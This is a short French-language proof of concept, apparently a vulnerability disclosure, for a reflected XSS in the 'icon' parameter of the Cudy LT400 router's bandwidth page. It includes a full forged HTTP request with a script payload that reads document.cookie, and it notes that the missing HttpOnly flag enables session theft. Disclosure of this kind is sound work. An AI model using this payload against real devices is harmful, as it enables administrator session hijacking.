
Preuve de concept pour XSS réfléchi dans l'interface web Cudy LT400, démontrant le vol de cookies de session et la prise de contrôle admin via des requêtes forgées.
Une attaque de type Cross-Site Scripting (XSS) réfléchi existe dans l'interface de gestion web du Cudy LT400.
La page /cgi-bin/luci/admin/network/bandwidth présente une XSS réfléchie via le paramètre icon.
Les méthodes d'exploitation consistent à envoyer une requête spécialement conçue à la victime, contenant du code malveillant.
L'application concernée ne définit pas le cookie de session avec l'attribut HttpOnly ; cela peut entraîner une prise de contrôle de l'administrateur via le vol du jeton de session.
GET /cgi-bin/luci/admin/network/bandwidth?iface=4g&icon=icon-4g%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&i18name=Cellular HTTP/1.1
Host: 172.16.1.1
User-Agent: Mozilla/5.0
Accept: text/html, */*; q=0.01
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://172.16.1.1/cgi-bin/luci/
Cookie: sysauth=REDACTED
Shenzhen Cudy Technology